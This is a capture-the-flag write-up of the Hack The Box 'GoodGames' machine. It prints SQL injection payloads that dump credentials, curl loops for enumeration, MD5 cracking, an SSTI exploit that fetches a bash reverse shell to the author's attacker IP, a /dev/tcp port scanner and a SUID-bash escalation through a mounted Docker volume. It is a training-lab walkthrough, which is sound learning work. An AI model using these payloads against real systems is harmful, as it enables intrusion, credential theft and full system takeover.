Disclaimer: The writeups that I do on the different machines that I try to vulnerate, cover all the actions that I perform, even those that could be considered wrong, I consider that they are an essential part of the learning curve to become a good professional. So it can become very extensive content, if you are looking for something more direct, you should look for another site, there are many and of higher quality and different resolutions, moreover, I advocate that it is part of learning to consult different sources, to obtain greater expertise.
I continue with a small saga of Linux Machines, now it’s the turn of the GoodGames box from Hack The Box, classified as Easy, it doesn’t require much research but it requires some previous knowledge of Docker, volumes in this case. SQLi and SSTI injections are also going to help me, so to remember or review the basics and those to get a RCE. Here I go in search of new knowledge and strengthen the ones that are stored in my long term memory.
I start by deploying the box with htbExplorer, a tool that allows you to manage from the console and avoid entering the Hack The Box web to perform the actions I need to do. I verify the connectivity and check the Operating System of the box, everything is working correctly, if I do a port enumeration with nmap
, I see that there is only one, with the TCP protocol of course, there may be others under UDP or others.
./htbExplorer -d GoodGames
sudo nmap -sS --min-rate 5000 -p- --open -vvv -n -Pn 10.10.11.130 -oG allPorts
I continue to use nmap
to learn more about the service offered on port 80 on the victim machine. With the basic reconnaissance scripts, I obtain information that allows me to know the Codename of the machine, Jammy, I can also visualize the technologies used in the web service with whatweb
. I get a domain, which I immediately add to my lists of known hosts and scan them again with whatweb
, just to see if the URL is resolving properly. No relevant information at the moment.
nmap -sCV -p80 10.10.11.130 -oN targeted
cat targeted
# Apache httpd 2.4.51
# duckduckgo.com --> Apache httpd 2.4.51 launchpad Jammy!
# --> goodgames.htb
whatweb http://10.10.11.130
nvim /etc/hosts
whatweb http://goodgames.htb
If I access the web page using the IP and the domain, I see no difference, it seems that Virtual Hosting is not being used. I am allowed to sign-up, so there is no need for a brute force attack at the moment when sign-in. Once sign-up, I sign-in and I see that my user is displayed on the screen at various times, I also see that the Flask framework, so it is a great indication for a possible SSTI attack. If I browse the website a little I only find a subscription form, but it does not work.
Flask is a web framework, it’s a Python module that lets you develop web applications easily. It’s has a small and easy-to-extend core: it’s a microframework that doesn’t include an ORM (Object Relational Manager) or such features. It does have many cool features like url routing, template engine. It is a WSGI web app framework.
I can use some basic SSTI injections in Payload All The Things when sign-up a new user, but the results on the screen are not what I expected to find. It shows the username as I entered it, the special characters must be escaping and are not interpreted by the server.
If I search for an exploit with searchsploit
using as search parameter, the name of the Web Service I find nothing, neither if I search for directories with nmap
. The other possible way is to investigate the request sent to the server when I log in to try some other attack vectors.
nmap --script http-enum -p80 10.10.11.130 -oN webScan
searchsploit good games
searchsploit goodgames
I run burspuite
in the background and capture the request I am interested in. If I inject a basic query to try to bypass the sign-in, it succeeds, the first thing that strikes me is that the list of registered users is displayed on the screen, there is the admin
user. Navigating in the page, I find a new Configurations page, but it redirects to a subdomain that I don’t have registered at the moment.
burpsuite &> /dev/null &
Burpsuite Proxy
email=oldboy%40oldb.htb'+or+1=1--+-&password=oldboy123
I add the subdomain I found and check that it is resolving well, then I use whatweb
to see if it shows me any additional information, but nothing worth investigating further. If I try to sign-in as the user I registered in the first instance it doesn’t let me, I can’t find anything in the source code either, like hardcoded credentials.
nvim /etc/hosts
ping -c 1 http://internal-administration.goodgames.htb/
whatweb http://internal-administration.goodgames.htb/
I’m going to use wfuzz
to search directories in the new subdomain, to see if I can find an administrative panel, but I can’t find anything, maybe with another bigger dictionary, but for now no. I remember I have the SQLi attack vector available, so I’m going to use BurpSuite’s Repeater tool to enumerate the databases. I try with basic injections but I have no luck, not only I look if something is shown in the response but also in its length, any anomaly can help me. But I get the result after a while with an injection that performs a query using ORDER BY.
wfuzz -c --hc=404 --hh=6672 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://internal-administration.goodgames.htb/FUZZ
email=oldboy%40oldb.htb'&password=oldboy123
email=oldboy%40oldb.htb'+and+sleep+5--+-&password=oldboy123
email=oldboy%40oldb.htb'+order+by+50--+-&password=oldboy123 # Content-Length: 33490
email=oldboy%40oldb.htb'+order+by+4--+-&password=oldboy123 # Content-Length: 9267 :):)
Now that I know the injection is working, look in the body of the Response to show the results of the queries and find it. Now I use other injections, to get the user, name, database version. With other injections a little more complex I get the database and the tables, which are many, so it is better to list them one by one.
email=oldboy%40oldb.htb'+union+select+1,2,3,4--+-&password=oldboy123
# Welcome oldboy4
email=oldboy%40oldb.htb'+union+select+1,2,3,user()--+-&password=oldboy123
# Welcome oldboymain_admin@localhost
email=oldboy%40oldb.htb'+union+select+1,2,3,database()--+-&password=oldboy123
# Welcome oldboymain
email=oldboy%40oldb.htb'+union+select+1,2,3,version()--+-&password=oldboy123
# Welcome oldboy8.0.27
email=oldboy%40oldb.htb'+union+select+1,2,3,schema_name+from+information_schema.schemata--+-&password=oldboy
# Welcome oldboyinformation_schemamain
email=oldboy%40oldb.htb'+union+select+1,2,3,table_name+from+information_schema.tables--+-&password=oldboy123
# ....... so many!!
email=oldboy%40oldb.htb'+union+select+1,2,3,table_name+from+information_schema.tables+limit+0,1--+-&password=oldboy123
email=oldboy%40oldb.htb'+union+select+1,2,3,table_name+from+information_schema.tables+limit+1,1--+-&password=oldboy123
# Welcome oldboyADMINISTRABLE_ROLE_AUTHORIZATIONS
I keep injecting malicious queries to get more information from the main database, I find the tables and then the columns that I think are the most important to access the machine, I find credentials that are the username and a hash. But if I try to know the type of hash that is with hashid
or with hash-identifier
it does not recognize it, another thing that I can observe at the time of obtaining the values of the columns, is that there are letters that were suppressed, something makes me think that tr
is doing something strange.
curl -s -X POST http://goodgames.htb/login -H "Content-Type: application/x-www-form-urlencoded" -d "email=oldboy%40oldb.htb'+union+select+1,2,3,table_name+from+information_schema.tables+limit+0,1--+-&password=oldboy123" | grep Welcome | sed 's/^ *//' | awk 'NF{print $NF}' | tr -d '</h2>'
curl -s -X POST http://goodgames.htb/login -H "Content-Type: application/x-www-form-urlencoded" -d "email=oldboy%40oldb.htb'+union+select+1,2,3,table_name+from+information_schema.tables+limit+1,1--+-&password=oldboy123" | grep Welcome | sed 's/^ *//' | awk 'NF{print $NF}' | tr -d '</h2>'
for i in $(seq 1 100); do curl -s -X POST http://goodgames.htb/login -H "Content-Type: application/x-www-form-urlencoded" -d "email=oldboy%40oldb.htb'+union+select+1,2,3,table_name+from+information_schema.tables+limit+$i,1--+-&password=oldboy123" | grep Welcome | sed 's/^ *//' | awk 'NF{print $NF}' | tr -d '</h2>'; done
for i in $(seq 0 100); do echo -e "[+] Number $i: $(curl -s -X POST http://goodgames.htb/login -H "Content-Type: application/x-www-form-urlencoded" -d "email=oldboy%40oldb.htb' union select+1,2,3,schema_name from information_schema.schemata limit $i,1-- -&password=oldboy123" | grep Welcome | sed 's/^ *//' | awk 'NF{print $NF}' | tr -d '</h2>')"; done
for i in $(seq 1 100); do echo -e "[+] Number $i: $(curl -s -X POST http://goodgames.htb/login -H "Content-Type: application/x-www-form-urlencoded" -d "email=oldboy%40oldb.htb' union select+1,2,3,table_name from information_schema.tables where table_schema=\"main\" limit $i,1-- -&password=oldboy123" | grep Welcome | sed 's/^ *//' | awk 'NF{print $NF}' | tr -d '</h2>')"; done
for i in $(seq 1 100); do echo -e "[+] Number $i: $(curl -s -X POST http://goodgames.htb/login -H "Content-Type: application/x-www-form-urlencoded" -d "email=oldboy%40oldb.htb' union select+1,2,3,column_name from information_schema.columns where table_schema=\"main\" and table_name=\"user\" limit $i,1-- -&password=oldboy123" | grep Welcome | sed 's/^ *//' | awk 'NF{print $NF}' | tr -d '</h2>')"; done
curl -s -X POST http://goodgames.htb/login -H "Content-Type: application/x-www-form-urlencoded" -d "email=oldboy%40oldb.htb' union select+1,2,3,group_concat(name,0x3a,email,0x3a,password) from user-- -&password=oldboy123" | grep Welcome | sed 's/^ *//' | awk 'NF{print $NF}' | tr -d '</h2>'
If instead of tr
I use awk
, I get the complete information, I can check that the hash type is MD5. But before I try to break it, I check its length, wc
tells me that it has 33 characters, which means that I must suppress the line break, because a MD5 hash has 32. Once I do this, I can use john
or even Crackstation to get the password.
curl -s -X POST http://goodgames.htb/login -d "email=oldboy%40oldb.htb' union select 1,2,3,group_concat(name,0x3a,email,0x3a,password) from user-- -&password=oldboy123" | grep Welcome | sed 's/^ *//' | awk 'NF{print $NF}' | awk '{print $1}' FS='<'
hashid 2b22337f218b2d82dfc3b6f77e7cb8ec
hash-identifier
cat hash | wc -c
cat hash | tr -d '\n' | sponge hash
cat hash | wc -c
john --list=formats
john -w:/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
john -show hash
I try to access with the credentials I just obtained to the subdomain and I succeed. Immediately I see that I have access to the Settings panel, to see if I can update data to be reflected on the web page, I modify the username and when I save the changes my changes are seen. I verify that the server is vulenerable to SSTI, to do this I resort to Payload All The Things to test basic injections and I succeed!
It is time to try to get a Reverse Shell, exploiting the SSTI vulnerability, I just have to create an index.html
file, with bash
code to send a shell to my attacker machine. Then I will set up a local server with python3
and listen in with nc
. I perform the injection by updating the username and that’s it, I have access to the victim machine. I do a console treatment for better mobility, but I notice with hostname
that the system’s DNS name corresponds to that of a container and if I look at the network interfaces, the IP value corresponds to that of a container.
hostname
is used to display the system’s DNS name, and to display or set its hostname or NIS domain name. -I Parameter Display all network addresses of the host.
nvim index.html
python3 -m http.server 80
nc -nlvp 443
index.html
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.15/443 0>&1'
script /dev/null -c bash # [Ctrl+z]
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 29 columns 128
whoami
hostname
hostname -I
ifconfig
ip a
If I look at the IP routing tables, I find in the gateway the value of an IP that must be the real victim machine, and I have connectivity to this IP. But if I enumerate the container a bit I don’t find much information on how to access it.
route
manipulates the kernel’s IP routing tables. -n Parameter show numerical addresses instead of trying to determine symbolic host names. This is useful if you are trying to determine why the route to your nameserver has vanished.
env
cat .dockerenv
route -n
# -> inet 172.17.0.1 eth0 (docker)
ping -c 1 172.19.0.1 # Active!
# This interface should communicate with the victim machine.!!
If I access the Home directory of the container, I find the directory of a user augustus
, and I can already access the first flag. But this user does not exist in the passwd
file, which makes me think that a volume of the Home directory of the user of the real machine must have been mounted in the container, with the command mount
and df
I check that it is so.
cd /home
ls
# --> august ?
grep "augustus" /etc/passwd
grep "sh$" /etc/passwd --> only root
ls -l user.txt
# --> -rw-r----- root 1000 group 1000?
# --> A mount must be used on this machine!!
mount
mount | grep home
# --> /dev/sda1 on /home/augustus type ext4 ...
fdisk -l # :(
df -h
# --> /dev/sda1 --> /home/augustus
Since I know I have connectivity to the possible real machine, I can create a script to see what ports it has open. But in the container I don’t have binaries like vi
or nano
to edit the script, so I create it on my attacker machine and transfer it to the container, when I run it I find port 22 and 80. If I try to connect using SSH and reusing the credentials I found for the web service, I access or the real machine finally.
Attacker Machine:
nvim port_discovery.sh
base64 -w 0 port_discovery.sh | xclip -sel clip
Victime Machine:
echo "..." | base64 -d > port_discovery.sh
chmod +x port_discovery.sh
./port_discovery.sh
# --> Port 22 - OPEN
# --> Port 80 - OPEN
ssh augustus@172.19.0.1
hostname -I
# --> 10.10.11.130 172.19.0.1 172.17.0.1
port_discovery.sh
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Exiting ...\n"
tput cnorm; exit 1
}
# Ctrl+c
trap ctrl_c INT
tput civis
for port in $(seq 1 65535); do
timeout 1 bash -c "echo '' > /dev/tcp/172.19.0.1/$port" 2>/dev/null && echo "[+] Port $port - OPEN" &
done; wait
tput cnorm
If I enumerate a bit the victim machine, many of the commands I can’t find, if I look at the PATH it has configured, it doesn’t contemplate many directories, so I export the one of my attacker machine. Now that I can enumerate, I perform the basic reconnaissance commands but I can’t find anything at the moment.
sudo -l
# --> command not found
ifconfig
# --> command not found :(
export PATH=...... # (my PATH!)
ifconfig
# --> br-99993f3f3b6b: .... inet 172.19.0.1
find \-perm -4000 2>/dev/null
getcap -r / 2>/dev/null
id
# I'm not in docker group!
uname -a
# --> Debian GNU/Linux 11
lsb_releas -a
# --> bullseye
cat /etc/crontab
As I find no vulnerabilities, I think I should take advantage of the container and the mounted volume. Then an idea for privilege escalation, is to copy the bash
binary in the home of the user augustus
. Now I go back to the container where I am the root
user, then I can make all the changes I want. First I change the user and group owner of the bash
binary to root
and also assign SUID permissions. I just need to access again to the real victim machine with SSH and run the bash
binary with modified permissions, and with the -p
parameter to give me a shell as the owner user, in this case, root
. Finally I was able to route the box
cd /home/augustus
cp /bin/bash .
exit
# Continer
cd /home/augustus
ls -l
# --> -rwxr-xr-x 1 1000 1000 bash
chown root:root bash
chmod 4755 bash
ls -l
# --> -rwsr-xr-x 1 root root bash SUID!!
ssh augustus@172.19.0.1
cd /home/augustus
ls -l
# --> -rwsr-xr-x 1 root root bash :)
./bash -p
What a great box, I love it when technologies and different concepts are combined. Privilege escalation many times are challenging to the mind and not so much for research. I will now continue the saga and look for another challenge. I must not forget to kill the box with
htbExplorer
.
./htbExplorer -k GoodGames